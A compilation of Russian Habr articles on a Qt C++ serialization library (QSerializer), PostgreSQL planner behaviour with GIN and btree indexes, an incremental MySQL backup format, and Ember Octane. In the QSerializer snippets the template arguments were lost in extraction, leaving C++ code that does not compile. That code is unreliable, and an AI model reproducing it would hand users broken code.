В Go есть очень полезный «родной» пакет [encoding/json](https://golang.org/pkg/encoding/json/), позволяющий производить полную сериализацию объекта методом Marshal и обратную структуризацию с помощью Unmarshal (из-за этой библиотеки у меня сначала сложилось не совсем верное понятие о маршалинге, но [Desine sperare qui hic intras](https://golang.org/src/encoding/json/encode.go)). Придерживаясь концепций этого пакета, я нашел еще одну библиотеку для Java — [GSON](https://github.com/google/gson), которая оказалась весьма приятным продуктом, использовать ее было сплошным удовольствием.
Я размышлял над тем, что мне нравится в этих библиотеках, и пришел к выводу, что это их простота в использовании. Гибкий функционал и все в одном вызове, для сериализации в JSON достаточно было вызвать метод toJson и передать в него сериализуемый объект. Однако сам по себе C++ по умолчанию не обладает должными метаобъектными возможностями, для того чтобы предоставить достаточно информации о полях класса, как это сделано, например, в Java (ClassName.class).
Под платформу Qt мне приглянулось только [QJson](http://qjson.sourceforge.net/), но все равно она не совсем укладывалась в мое понимание простоты использования, сформированное вышеупомянутыми библиотеками. Так появился проект, о котором здесь пойдет речь.
**Небольшой дисклеймер:** подобные механизмы не решат за вас задачу интерпретации данных. Все, что вы можете от них получить — это конвертацию данных в более удобный для вас вид.
**NOTE: Вышла [вторая статья](https://habr.com/ru/post/515094/) о QSerializer**
Cтруктура проекта QSerializer
-----------------------------
Проект и примеры можно посмотреть на GitHub ([ссылка на репозиторий](https://github.com/smurfomen/QSerializer)). Там же расписана подробная инструкция по установке.
Предвкушая архитектурное самоубийство, сделаю оговорку, что это не финальная версия. Работа будет вестись и дальше, невзирая на брошенные камни, но сделав поправку на пожелания.
Главная преследуемая цель этого проекта — сделать сериализацию с использованием user-frendly формата данных в С++ доступной и элементарной. Залог качественного развития и поддержания продукта — его архитектура. Я не исключаю, что в комментариях к этой статье могут появиться другие способы реализации, поэтому оставил немного «пространства для творчества». В случае изменения реализации можно либо добавить новую реализацию интерфейса PropertyKeeper, либо изменить методы фабрики так, что в функциях QSerializer ничего менять не придется.
Декларация полей
----------------
Одним из способов сбора метаобъектной информации в Qt является ее описание в метаобъектной системе самого Qt. Пожалуй, это самый простой способ. MOC сгенерит все необходимые метаданные на этапе компиляции. У описанного объекта можно будет вызвать метод metaObject, который вернет экземпляр класса QMetaObject, с которым нам и предстоит работать.
Для объявления подлежащих сериализации полей нужно унаследовать класс от QObject и включить в него макрос Q\_OBJECT, дабы дать понять MOC о квалификации типа класса как базового от QObject.
Дальше макросом Q\_PROPERTY описать члены класса. Мы будем называть описанное в Q\_PROPERTY свойство property. QSerializer будет игнорировать property без флага USER равного true.
**Зачем флаг USER**
Это удобно в случаях работы, например, с QML. Зачастую не каждый член класса должен быть сериализован. Например, если использовать Q\_PROPERTY для QML и для QSerializer можно получить лишние сериализуемые поля.
```
class User : public QObject
{
Q_OBJECT
// Define data members to be serialized
Q_PROPERTY(QString name MEMBER name USER true)
Q_PROPERTY(int age MEMBER age USER true)
Q_PROPERTY(QString email MEMBER email USER true)
Q_PROPERTY(std::vector phone MEMBER phone USER true)
Q\_PROPERTY(bool vacation MEMBER vacation USER true)
public:
// Make base constructor
User() { }
QString name;
int age{0};
QString email;
bool vacation{false};
std::vector phone;
};
```
Для декларации нестандартных пользовательских типов в метаобъектной системе Qt я предлагаю использовать макро QS\_REGISTER, который определен в qserializer.h. QS\_REGISTER автоматизирует процесс регистрации вариаций типа. Однако вы можете использовать и классический способ регистрации типов через qRegisterMetaType<T>(). Для метаобъектной системы тип класса (T) и указатель на класс (T\*) — абсолютно разные типы, они будут иметь разные идентификаторы в общем списке типов.
```
#define QS_METATYPE(Type) qRegisterMetaType(#Type) ;
#define QS\_REGISTER(Type) \
QS\_METATYPE(Type) \
QS\_METATYPE(Type\*) \
QS\_METATYPE(std::vector) \
QS\_METATYPE(std::vector) \
```
```
class User;
void main()
{
// define user-type in Qt meta-object system
QS_REGISTER(User)
...
}
```
Пространство имен QSerializer
-----------------------------
Как видно из UML диаграммы, QSerializer содержит ряд функций для сериализации и структуризации. Пространство имен концептуально отражает декларативную суть QSerializer. К заложенной функциональности можно получить доступ через имя QSerializer, без необходимости создания объекта в любом месте кода.
На примере построения JSON на основе объекта вышеописанного класса User надо только вызвать метод QSerializer::toJson:
```
User u;
u.name = "Mike";
u.age = 25;
u.email = "example@exmail.com";
u.phone.push_back("+12345678989");
u.phone.push_back("+98765432121");
u.vacation = true;
QJsonObject json = QSerializer::toJson(&u);
```
А вот и получившийся JSON:
```
{
"name": "Mike",
"age": 25,
"email": "example@exmail.com",
"phone": [
"+12345678989",
"+98765432121"
],
"vacation": true
}
```
Структурировать же объект можно двумя способами:
* **Если необходимо модифицировать объект**
```
User u;
QJsonObject userJson;
QSerializer::fromJson(&u, userJson);
```
* **Если необходимо получить новый объект**
```
QJsonObject userJson;
User * u = QSerializer::fromJson(userJson);
```
Больше примеров и выходных данных можно увидеть в папке [example](https://github.com/smurfomen/QSerializer/tree/master/example).
Хранители
---------
Для организации удобной записи и чтения декларированных свойств QSerializer использует классы-хранители (**Keepers**), каждый из них хранит указатель на объект (наследник QObject) и одну из его QMetaProperty. Сама по себе QMetaProperty не представляет особой ценности, по сути это лишь объект с описанием property класса, которая была задекларирована для MOC. Для чтения и записи нужен конкретный объект класса, где описано это свойство — это главное что нужно запомнить.
Каждое сериализуемое поле в процессе сериализации передается в хранитель соответствующего типа. Хранители нужны, чтобы инкапсулировать функционал сериализации и структуризации для конкретной реализации под определенный тип описываемых данных. Я выделил 4 типа:
* QMetaSimpleKeeper — хранитель свойств с примитивными типами данных
* QMetaArrayKeeper — хранитель свойств с массивами примитивных данных
* QMetaObjectKeeper — хранитель вложенных объектов
* QMetaObjectArrayKeeper — хранитель массивов из вложенных объектов
В основе хранителей примитивных данных лежит преобразование информации из JSON/XML в QVariant и обратно, потому что QMetaProperty работает с QVariant по умолчанию.
```
QMetaProperty prop;
QObject * linkedObj;
...
std::pair QMetaSimpleKeeper::toJson()
{
QJsonValue result = QJsonValue::fromVariant(prop.read(linkedObj));
return std::make\_pair(QString(prop.name()), result);
}
void QMetaSimpleKeeper::fromJson(const QJsonValue &val)
{
prop.write(linkedObj, QVariant(val));
}
```
В основе хранителей объектов лежит трансфер информации из JSON/XML в серии других хранителей и обратно. Такие хранители работают со своим property как с отдельным объектом, который также может иметь своих хранителей, их задача состоит в сборе сериализованных данных из объекта property и структурировании объекта property по имеющимся данным.
```
QMetaProperty prop;
QObject * linkedObj;
...
void QMetaObjectKeeper::fromJson(const QJsonValue &json)
{
...
QSerializer::fromJson(linkedObj, json.toObject());
}
std::pair QMetaObjectKeeper::toJson()
{
QJsonObject result = QSerializer::toJson(linkedObj);;
return std::make\_pair(prop.name(),QJsonValue(result));
}
```
Хранители реализуют интерфейс PropertyKeeper, от которого унаследован базовый абстрактный класс хранителей. Это позволяет разбирать и составлять документы в формате XML или JSON последовательно сверху вниз, просто спускаясь по описанным хранимым свойствам и углубляясь по мере спуска во вложенные объекты, если таковые имеются в описанных propertyes, при этом не вдаваясь в детали реализации.
**Интерфейс PropertyKeeper**
```
class PropertyKeeper
{
public:
virtual ~PropertyKeeper() = default;
virtual std::pair toJson() = 0;
virtual void fromJson(const QJsonValue&) = 0;
virtual std::pair toXml() = 0;
virtual void fromXml(const QDomNode &) = 0;
};
```
Фабрика хранителей
------------------
Так как все хранители реализуют один интерфейс, то все реализации скрываются за удобной ширмой, а набор этих реализаций предоставляется фабрикой KeepersFactory. У переданного в фабрику объекта можно получить список всех задекларированных propertyes через его QMetaObject, на основе которых определяется тип хранителя.
**Реализация фабрики KeepersFactory**
```
const std::vector simple\_t =
{
qMetaTypeId(),
qMetaTypeId(),
qMetaTypeId(),
qMetaTypeId(),
};
const std::vector array\_of\_simple\_t =
{
qMetaTypeId>(),
qMetaTypeId>(),
qMetaTypeId>(),
qMetaTypeId>(),
};
...
PropertyKeeper \*KeepersFactory::getMetaKeeper(QObject \*obj, QMetaProperty prop)
{
int t\_id = QMetaType::type(prop.typeName());
if(std::find(simple\_t.begin(), simple\_t.end(), t\_id) != simple\_t.end())
return new QMetaSimpleKeeper(obj,prop);
else if (std::find(array\_of\_simple\_t.begin(),array\_of\_simple\_t.end(), t\_id) != array\_of\_simple\_t.end())
{
if( t\_id == qMetaTypeId>())
return new QMetaArrayKeeper(obj, prop);
else if(t\_id == qMetaTypeId>())
return new QMetaArrayKeeper(obj, prop);
else if(t\_id == qMetaTypeId>())
return new QMetaArrayKeeper(obj, prop);
else if(t\_id == qMetaTypeId>())
return new QMetaArrayKeeper(obj, prop);
}
else
{
QObject \* castobj = qvariant\_cast(prop.read(obj));
if(castobj)
return new QMetaObjectKeeper(castobj,prop);
else if (QString(prop.typeName()).contains("std::vector<"))
{
QString t = QString(prop.typeName()).remove("std::vector<").remove(">");
int idOfElement = QMetaType::type(t.toStdString().c\_str());
if(QMetaType::typeFlags(idOfElement).testFlag(QMetaType::PointerToQObject))
return new QMetaObjectArrayKeeper(obj, prop);
}
}
throw QSException(UnsupportedPropertyType);
}
std::vector KeepersFactory::getMetaKeepers(QObject \*obj)
{
std::vector keepers;
for(int i = 0; i < obj->metaObject()->propertyCount(); i++)
{
if(obj->metaObject()->property(i).isUser(obj))
keepers.push\_back(getMetaKeeper(obj, obj->metaObject()->property(i)));
}
return keepers;
}
...
```
Ключевой особенностью фабрики хранителей является возможность предоставления полной серии хранителей для объекта, а расширить список поддерживаемых примитивных типов можно отредактировав константные коллекции с идентификаторами типов. Каждая серия хранителей представляет собой своеобразную карту по propertyes для объекта. При разрушении объекта KeepersFactory — память, выделенная под предоставленные ею серии хранителей, высвобождается.
Ограничения и поведение
-----------------------
| Ситуация | Поведение |
| --- | --- |
| Попытка сериализации объекта, тип которого не унаследован от QObject | Ошибка компиляции |
| Незадекларированный тип при попытке сериализации/стркутуризации | Исключение QSException::UnsupportedPropertyType |
| Попытка сериализации/структуризации объекта с примитивным типом отличающимся от описанных в коллекциях simple\_t и array\_of\_simple\_t. | Исключение QSException::UnsupportedPropertyType. Используйте стандартно закрепленные типы, а если очень нужно — можно добавить нужный вам примитив, но никаких гарантий |
| В JSON/XML есть лишние поля | Лишние поля игнорируются |
| В объекте есть propertyes, которых нет в JSON/XML | Лишние propertyes игнорируются. Если структуризация сопровождается созданием нового объекта — проигнорированные propertyes будут равны дефолтным значениям или задающимся в конструкторе по умолчанию |
| Несоответствие типа описанных данных поля в JSON и property объекта | Исключение QSException |
В заключение
------------
На мой взгляд, проект получился стоящим, потому эта статья и написана. Для себя я сделал вывод, что универсальных решений не бывает, всегда приходится чем-то жертвовать. Разрабатывая гибкую, с точки зрения использования, функциональность, вы убиваете простоту, и наоборот.
Я не призываю вас использовать QSerializer, моей целью служит скорее собственное развитие как программиста. Разумеется я преследую и цель помочь кому-то, но в первую очередь — просто получение удовольствия. Будьте позитивными) | https://habr.com/ru/post/496836/ | null | ru | null |
# PostgreSQL: занимательный пример работы индексов, планировщика запросов и магии
В начале месяца я прочитал [доклад](https://www.youtube.com/watch?v=BhI2BnOTrQs&t=3905s) про индексы в базах данных для Saint P Ruby Community и буквально через несколько дней жизнь не замедлила подкинуть мне показательный пример работы индексов, планировщика баз данных и важности обновления СУБД.
Итак, **дано**: большая таблица `projects` с кучей (ненужных) индексов, в том числе обычный BTree-индекс по числовой колонке `forks_count`. У неё есть связь по has\_one с таблицей `project_dependencies` с функциональным GIN-индексом по полю `packages` в колонке `data`, в котором поле находится JSON-объект с названиями NPM-пакетов в ключах и их версиями в значениях (куда ж сейчас без джаваскрипта?):
```
CREATE TABLE projects (
id bigserial PRIMARY KEY,
title varchar,
forks_count int
);
CREATE INDEX index_projects_on_forks_count ON projects (forks_count);
CREATE TABLE project_dependencies (
id bigserial PRIMARY KEY,
project_id bigint NOT NULL,
data jsonb DEFAULT '{}'::jsonb,
FOREIGN KEY (project_id) REFERENCES projects (id) ON UPDATE CASCADE ON DELETE CASCADE
);
CREATE UNIQUE INDEX index_project_dependencies_on_project_id ON project_dependencies (project_id);
CREATE INDEX project_dependencies_data_packages ON project_dependencies USING gin (((data -> 'packages'::text)));
INSERT INTO projects (id, title) VALUES (1, 'Test');
INSERT INTO project_dependencies (project_id, data) VALUES (1, $json$
{"packages": {"react": ["16.8.0"], "react-dom": ["16.8.0"], "nanoid": ["1.0.2"], "object-assign": ["4.1.1"]}}
$json$);
```
**Задача**: вытащить примеры проектов, имеющих в зависимостях определённый пакет, показать пользователю наиболее популярные. Показателем популярности и ценности как раз будет количество форков — как правило это какие-то уже раскрученные публичные стартер-проекты.
Как думаете, будет просто? Поехали!
> Изначально я опубликовал эту статью как [твиттер-тред](https://twitter.com/Envek/status/1472852683249889282), но по просьбам трудящихся, не привыкших к формату, публикую чуть расширенную версию как статью.
>
>
Пишем запрос, который будет использовать наш функциональный индекс:
```
SELECT "projects".*
FROM "projects"
WHERE
"projects"."id" IN (
SELECT "project_dependencies"."project_id"
FROM "project_dependencies"
WHERE (data -> 'packages' ? $1)
)
ORDER BY "projects"."forks_count" DESC
LIMIT 20 OFFSET 0;
```
**Ожидание:** используется функциональный GIN-индекс и всё летает.
**Реальность**: да, но есть один нюанс…
На сцену выходит **селективность** (кратенько об этом важном термине можно прочитать вот в этой старой статье на Хабре: <https://habr.com/en/post/36705/>)
Пробуем запрос на каком-нибудь не совсем уж малоизвестной, но всё же не супер-популярной зависимости. Возьмём [nanoid](https://github.com/ai/nanoid) от моего коллеги [@Iskin](/users/iskin) и посмотрим план запроса с ним.
Да, всё работает как ожидалось — сходили в функциональный индекс, отыскали все проекты, использующие nanoid, потом уже достали проекты. Смотрите план запроса: <https://explain.tensor.ru/archive/explain/d62a7078323f3f387efa4c5cfbb55e35:0:2021-12-20>
Читаем план изнутри наружу: сходили в gin-индекс, нашли все проектозависимости с ключом nanoid, нашли все проекты для них, объеденили, отсортировали по forks\_count, выбрали 20 первых.Пока всё хорошо: 15-25 миллисекунд на миллионе проектов и слабенькой стейджинг-базе.
Возьмём теперь ультра-популярную зависимость. Что-нибудь, что используется натурально в каждом третьем или четвёртом проекте в базе. `react` там, например, или `angular`.
И вот тут становится ~~больно~~ интересно, потому что PostgreSQL на стейджинге выполняет этот запрос две минуты!
<https://explain.tensor.ru/archive/explain/c960e48f945b0b9049181baeaac25fd9:0:2021-12-20>
Делаем всё то же самое, но теперь это занимает 90-120 секунд вместо 15 миллисекнуд. Ай!А вот локальный PostgreSQL внезапно выбрал совсем другой план и не прогадал — опять всё работает шустро.
Что он делает? Идёт по индексу по самым форкаемым проектам до тех пор, пока не найдёт 20 проектов с react в зависимостях:
<https://explain.tensor.ru/archive/explain/564d46aad2add0cd347bbca42b2ce0a6:0:2021-12-20#explain>
Бежим по индексу по forks\_count назад и для каждой строки ходим в соседнюю таблицу и проверяем, есть ли в jsonb-поле в ней ключ react в поле packages. Повторяем, пока не отберём 20 строчек. Почему Postgres решил, что так будет быстрее? (да, на сцену выходит [статистика](https://postgrespro.ru/docs/postgresql/14/view-pg-stats))
Для каждой колонки в таблице, а так же для каждого [функционального индекса](https://postgrespro.ru/docs/postgrespro/14/indexes-expressional) СУБД собирает статистику по содержащимся в нём значениям — как много разных, как они отсортированы, и, что нас интересует здесь, какие самые популярные значения есть и как они распределены.
То есть СУБД увидела, что `react` — очень популярный ключ в этом индексированном JSONB-объекте. А значит, придётся вытащить и перелопатить бо́льшую часть таблицы, чего делать не хочется. Но при этом это настолько популярное значение, что можно наудачу вытащить несколько десятков проектов и большинство из них будут реактовыми!
Но почему же тогда на стейджинге всё работает так медленно?
А на стейджинге просто старая версия PostgreSQL — 9.6 (кстати, уже не поддерживается и с неё надо срочно обновляться!)
Может, можно придумать какой-то захак? Пробую старый добрый костыль с указанием явного условия в подзапросе — PostgreSQL 9.6 переключается на использование индекса по `forks_count` (кстати, PostgreSQL 13 этот хак уже игнорирует).
```
SELECT "projects".*
FROM "projects"
WHERE
"projects"."id" IN (
SELECT "project_dependencies"."project_id"
FROM "project_dependencies"
WHERE (data -> 'packages' ? $1)
AND "project_dependencies"."project_id" = "projects"."id" -- хак!
)
ORDER BY "projects"."forks_count" DESC
LIMIT 20 OFFSET 0;
```
Запросы по популярным пакетам теперь работают шустро, ура!
Но теперь начали тормозить запросы по непопулярным пакетам — PostgreSQL так же бежит назад по forks\_count, но теперь надо оббежать половину таблицы projects (а то и всю) и для каждой строки в ней сходить в соседнюю таблицу. Это очень медленно и дорого:
<https://explain.tensor.ru/archive/explain/42d2b387e59cd1b053f48adfea0ec8ae:0:2021-12-20>
Бежим по forks\_count назад и перепроверяем каждую строчку в project\_dependencies. И бежим и бежим и бежим, пока всю таблицу не оббежим.В чём же разница между версиями? Оказывается, в PostgreSQL 13 улучшили оценку селективности для JSONB-полей и GIN-индексов по ним, используя имеющуюся статистику: <https://www.postgresql.org/message-id/flat/12237.1582833074%40sss.pgh.pa.us> (спасибо Алексею Ермакову из facebook-группы [PostgreSQL в России](https://www.facebook.com/groups/postgresql), который [нашёл](https://www.facebook.com/groups/postgresql/posts/1670140153182725/?comment_id=1670601259803281&reply_comment_id=1670891223107618&__cft__%5B0%5D=AZXjJkeJCJkLuvNyzxw0h_gpWyLDQz-hZtXNkBq7jnOmYnvEtuszZjaKFCf46Tqgf6eGuwe9JGfalLtF4r1cpgysR5psf066BeC4nDqeCfxvg2zHU7tG7YW5eQUkH-vj9PSINckda5mWPhLrvGVEPiTnBVc3Lh0BDUtPPALEtWMkmA&__tn__=R%5D-R) эту ссылку)
И что же делать? **Обновляться!**
Обновляйте ваши базы! СУБД действительно становятся лучше от версии к версии.
Вот лишь небольшой список улучшений в последних версиях PostgreSQL, связанных с индексами и производительностью запросов:
* PostgreSQL 14: уменьшение распухания BTree, многодиапазонные BRIN-индексы
* PostgreSQL 13: дедупликация значений в BTree — это круто для foreign key для has many отношений 1-N, где N велико, т.к. индексы становятся меньше, а размер имеет значение — чем меньше индекс, тем он привлекательней для планировщика (ну и просто быстрее)
* PostgreSQL 12: покрывающие GiST-индексы, REINDEX CONCURRENTLY
* PostgreSQL 11: покрывающие индексы (кроме GiST), партиционированные индексы
* PostgreSQL 10: параллельное сканирование BTree, полноценные Hash-индексы
* PostgreSQL 9.6: ☠️ (алло, вы уже должны были обновиться с неё!)
Используйте локально те же версии софта, что и в проде, чтобы избежать сюрпризов. У нас есть целый мануал про это: [Ruby on Whales: Dockerizing Ruby and Rails development](https://evilmartians.com/chronicles/ruby-on-whales-docker-for-ruby-rails-development) (и даже не один: [Reusable development containers with Docker Compose and Dip](https://evilmartians.com/chronicles/reusable-development-containers-with-docker-compose-and-dip))
> Кто-нибудь может сказать «а, вот если бы в PostgreSQL были бы хинты, то уж тогда бы ух!»
>
> Но хинты бы не помогли, потому что для выполнения этого запроса **нет одного оптимального плана выполнения**! Высокоселективные запросы выгоднее исполнять по другому, чем низкоселективные.
>
>
Если вам порой кажется, что всё это планирование SQL-запросов кажется слишком магичным, то вам не кажется. Даже в целом понимая, как оно работает, это порой всё ещё остаётся чёрной магией и экзорцизмом. 🤯
Посмотрите мой доклад про индексирование БД, не поленитесь — там есть много ссылок на курсы и книги, чтобы вникнуть в тему глубже!
[Слайды](https://envek.github.io/saintprubyconf-db-indexes-talk)
[Видео](https://www.youtube.com/watch?v=BhI2BnOTrQs&t=3905s)
Спасибо за внимание! | https://habr.com/ru/post/597651/ | null | ru | null |
# SXB: инкрементальный бэкап MySQL
Эта статья является продолжением статьи [Разрабатываем новый формат файла для бэкапа сайтов](http://habrahabr.ru/post/165947/), в которой рассматривался перспективный формат для бэкапа сайтов.
В этой статье мы рассмотрим вторую часть формата — возможность блочного инкрементального бэкапа для MySQL.
Формат SXB предназначен для пользователей начального и среднего уровня. Для тех, кто не знаком (или не может использовать их на конкретном сайте) со средствами горячего бэкапа (бинарные логи, снимки файловой системы, Xtrabackup и т.п.). Грубо говоря, для тех, кто для бэкапа MySQL использует mysqldump и подобные программы, создающие SQL-дамп базы.
Сразу напомню, что формат пока на стадии отработки технологии, и в конце статьи вас ждет тестовый PHP-скрипт.
#### Почему не mysqldump?
Итак, одним из самых популярных вариантом для бэкапа баз данных MySQL является идущая в комплекте программа mysqldump. В интернете, можно встретить множество, как простых скриптов (в том числе, есть несколько статей на Хабре), так и отдельных программ бэкапа в которых используется mysqldump.
Так почему же не использовать его? Основные недостатки связаны с пресловутым «unix way» (когда каждая программа делает минимальную задачу и не подозревает о других программах).
В данном случае возникают следующие проблемы:
* ##### Использование временного файла
Стандартная схема работы, это создание файла с дампом, а потом добавление его в архив tar или zip. Следовательно, нужно больше места для бэкапа, а также дополнительное время на копирование.
* ##### Плохая поддержка дедупликации
Из-за того, что mysqldump вставляет комментарии и различные метаданные (типа значения auto\_increment), а также из-за зависимости одних таблиц от других.
* ##### Отсутствие навигации по дампу
Чтобы достать данные только из одной таблицы нужно парсить дамп, пока не найдешь нужное место. Потому чаще всего восстанавливают весь дамп (возможно во временную базу данных).
* ##### Отсутствие постпроцессинга
Так как дамп представляет собой просто набор SQL запросов, а восстановление выполняет стандартная программа для выполнения любых запросов. То восстановление занимает дольше времени (из-за более сложного парсера), и нет возможности изменять запросы (например, использовать REPLACE вместо INSERT).
Часть из этих вопросов можно попробовать решить различными опциями mysqldump, но в результате усложняется восстановление дампа. Да и на практике таких решений не встречал. Я пробовал решить некоторые из этих проблем в Sypex Dumper 2. Там в SQL-дамп добавлены специальные метаданные. Но в новой версии решил пойти дальше.
#### Новые возможности бэкапа MySQL в формате SXB
Благодаря тому, что мы используем для восстановления специальную программу, которая может выполнять постпроцессинг, а не тупо разбивать файл на запросы и отправлять их серверу MySQL – появляются интересные новые возможности.
В pro версии дампера, уже был использован SELECT OUTFILE для ускорения процесса бэкапа. Так как вполне понятно, что намного быстрее будет, если MySQL-сервер сам будет сохранять данные в файл, а не передавать данные разбитые на отдельные поля, каждое из которых еще нужно экранировать, добавить кавычки, скобки и т.п. Но при этом дамп всё же приводился к привычному SQL-виду.
В новой же версии, я задумался над тем, зачем тратить время на оформление дампа во время бэкапа, если на эти декорации уходит 30-50% времени. Учитывая, что бэкап обычно делается значительно чаще, чем восстановление. То естественно лучше перенести дополнительную нагрузку на процесс восстановления.
Работая над форматом SXB и блочной дедупликацией для файлов, появилась идея, что неплохо бы попробовать и дедупликацию для самой БД. Ведь в базе данных меняется не так много данных между бэкапами.
На первом этапе решил реализовать дедупликацию на блочном уровне, также как и для файлов. У такого варианта, конечно, есть недостатки по сравнению с дедупликацией на уровне строк. Но он будет значительно быстрее и менее требовательным к ресурсам.
Сами данные хранятся для каждой таблицы отдельно, в виде строк с табуляцией в качестве разделителей. Блоки таблиц не зависят, от других таблиц. Этим достигается компактность файла бэкапа, плюс расширенные возможности по постпроцессингу при восстановлении. Также отдельно хранится структура каждой таблицы. При этом из структуры таблиц вырезается значение AUTO\_INCREMENT, чтобы не бэкапить постоянно структуру таблицы у которой только AUTO\_INCREMENT меняется. А само значение AUTO\_INCREMENT сохраняется в метаданных заголовка таблицы.
Для каждого блока считается идентификатор (CRC32 + MD5 + Размер блока), по этому идентификатору определяется уникальность блока. Два алгоритма хэширования используются для того, чтобы избежать коллизий. А сами алгоритмы выбраны, как наиболее быстрые. Также считается общий MD5-хэш для всей таблицы.
Таким образом, если мы встречаем блок, который уже есть в нашем бэкапе (текущем или предыдущих), то мы используем ссылку на этот блок, и не добавляем сам повторяющийся блок в текущий бэкап. Благодаря чему экономим место для бэкапа, процессорное время (не нужно сжимать одни и те же данные), а также из-за меньших размеров значительно ускоряется загрузка бэкапа в облачные хранилища.
**[Протестировать инкрементальный бэкап MySQL](http://sypex.net/files/sxb_dump.zip) на деле можно с помощью упрощенного скрипта**, желательно поделиться данными.
**Обязательно наличие прав доступа FILE** у вашего MySQL пользователя и MySQL-сервер должен находиться на localhost. Если будет много желающих добавлю версию и с простыми селектами.
В результате работы получите такую таблицу (обрезал дату, чтобы влезло на страницу).
```
+--------+------+---------+--------+--------+----------+----------+----------+--------+
| D & t | Tabs | Rows | Blocks | Dubs | Size | Dub.size | SXB.size | Time |
+--------+------+---------+--------+--------+----------+----------+----------+--------+
| 07:38 | 26 | 557180 | 4779 | 0 | 37.03 MB | - | 11.43 MB | 3.8561 |
| 08:06 | 26 | 557187 | 4779 | 4761 | 37.03 MB | 36.92 MB | 39.8 KB | 2.8214 |
| 08:22 | 26 | 557187 | 4779 | 4775 | 37.03 MB | 37 MB | 12.22 KB | 2.5557 |
| 08:37 | 26 | 557187 | 4779 | 4778 | 37.03 MB | 37.03 MB | 3.75 KB | 2.5052 |
| 08:52 | 26 | 557193 | 4779 | 4768 | 37.03 MB | 36.96 MB | 24.57 KB | 2.6060 |
| 09:10 | 26 | 557196 | 4779 | 4775 | 37.03 MB | 37.01 MB | 7.79 KB | 2.8218 |
+--------+------+---------+--------+--------+----------+----------+----------+--------+
```
Первый раз делается полный бэкап, последующие бэкапы инкрементальные. «SXB.size» показывает размер файла с инкрементным бэкапом (т.е. измененные блоки). | https://habr.com/ru/post/167469/ | null | ru | null |
# The Ember Times — Выпуск 130
*От переводчика: После позитивного отклика на [прошлый выпуск](https://habr.com/ru/post/482988/) дайджеста, я решил продолжить перевод этого популярного источника последних новостей из мира Ember.js.
Как и в прошлый раз ссылки на материалы, на которые я находил перевод, я помечал (рус). Все ссылки без пометки указывают на англоязычные ресурсы. И как и всегда, на русском вопросы можно задать в нашем ламповом [телеграмм-канале](https://t.me/ember_js)*
С Новым годом, Эмберисты!
На этой неделе мы хотим представить вам специальный номер нашего издания, посвященный Ember Octane!
Мы собрали как можно больше информации об этом новом издании Ember. Таким образом, в этом посте вы найдете полезную информацию, которая поможет вам получить максимальную отдачу от Ember Octane.
В этом выпуске: что такое редакция Octane? ♀️♂️, где я могу узнать больше?, как перейти на Octane? ️, отзыв от компании Outdoorsy, покорить Octane с помощью Ember Atlas и Octane на EmberConf 2020 !
> Octane — это современный Ember, и я очень рад, что мы смогли пересечь финишную черту и закончить его разработку. Желаю вам получить много удовольствия от создания приложений! ~ Йехуда Кац ([@wycats](https://github.com/wycats))
Что такое Octane Edition? ♀️♂️
==============================
Начиная Ember Octane мы вводим понятие издания. Давайте посмотрим, что означает издание в Ember и какие функции вы можете найти в выпуске Octane.
Что такое издание?
------------------
В Ember при создании [издания](https://emberjs.com/editions/) мы сосредотачиваемся на определенной теме, чтобы в итоге получить **целостный опыт программирования**. Например, выпуск Octane ориентирован на продуктивности и производительности!
Наличие выпусков помогает вам и командам разрабатывающим Ember во многих отношениях:
1. Вы можете увидеть общую картину того, как новые функции фреймворка работает вместе. До этого вам, возможно, приходилось постоянно следить за последними RFC ([*Requests For Comments*](https://github.com/emberjs/rfcs)) и комментариями к релизам, чтобы понять, почему какая-то функция была добавлена или удалена.
2. Людям, которые не следят за Ember внимательно — например, вам или другим людям из мира JavaScript — было легко пропустить значительные изменения, происходящие со временем. Издания помогают нам *продемонстрировать* рынку силу Ember.
3. Редакции дают возможность обновить документацию, идиомы, аддоны и инструменты Ember (такие как Ember Inspector, заготовки (blueprints), codemods и сообщения об ошибках). Конечный результат — это цельный опыт для разработчиков!
Какие функции есть в редакции Octane?
-------------------------------------
Многие новые функции объединяются, чтобы сформировать новую **компонентную модель** и новую **систему реактивности** для Ember. Эти два больших изменения заметно улучшают опыт разработчиков.
Вы можете найти полный список функций в [Ember Guides](https://guides.emberjs.com/release/upgrading/current-edition/#toc_what-is-ember-octane). Мы же выделим несколько основных ниже:
1. **Компоненты Glimmer** предлагают значительно упрощенный API как для шаблона, так и для класса поддержки. Передайте привет внешней семантике HTML и аргументам в пространстве имен!
2. **Модификаторы (modifiers)** позволяют вам взаимодействовать с DOM — анимировать элемент, скролить к элементу, автоматически фокусироваться на первом вводе формы и т. д. Модификаторы работают с любыми элементами.
3. **Отслеживаемые свойства (tracked properties)** упрощают синхронизацию DOM с изменениями JavaScript. Вам больше не нужно писать и поддерживать списки зависимостей.
> Я немного взволнована, потому мне кажется, что Octane значительно легче учить. Это отлично подходит как для компаний, которые нанимают разработчиков без знания Ember, так и для начинающих программистов. С включенным по умолчанию [ember-auto-import](https://github.com/ef4/ember-auto-import) мы можем работать с более широкой экосистемой JavaScript. Без особых усилий можно использовать ваши любимые библиотеки из npm. ~ Джен Вебер ([@jenweber](https://github.com/jenweber))
Где я могу узнать больше?
=========================
Если вы хотите попробовать Ember Octane, вы можете узнать больше о новых API и лучших способах создания современных Ember-приложений. Мы настоятельно рекомендуем вам следующие учебные ресурсы:
Для начала
----------
Сообщество Ember усердно работало над тем, чтобы подготовить официальную документацию Ember, состоящую из руководства, учебного пособия и документации по API редакции Octane. Используйте эти учебные материалы в качестве первого шага.
* [Официальная документация — Ember.js Guides](https://guides.emberjs.com/release/)
* [Официальный учебник для начинающих — создание приложения Super Rentals](https://guides.emberjs.com/release/tutorial/part-1/)
* [Официальная ссылка на API — Документация API Ember.js](https://api.emberjs.com/ember/release)
*Первая часть учебника Super Rentals сейчас переведена на русский. Вот ссылки на [часть 1.1](https://habr.com/ru/post/482296/) и [часть 1.2](https://habr.com/ru/post/482390/).*
> Octane обеспечивает очень плавное погружение и позволяет учиться и развиваться в фреймворке по мере необходимости. Вы начинаете с шаблонов HTML, затем извлекаете фрагменты в шаблонные компоненты (template-only components) для ясности кода, затем добавляете аргументы для повторного использования компонентов, добавляете js-класс для обработки событий, добавляете сервис для общих функций, устанавливаете аддоны для более интересных вещей и т.д. Наконец, я могу учить людей той версии Ember, которая была у меня в голове. Проверьте новый учебник, чтобы увидеть разницу! ~ Годфри Чан ([@chancancode](https://github.com/chancancode))
Основные концепции, лежащие в основе Octane.
============================================
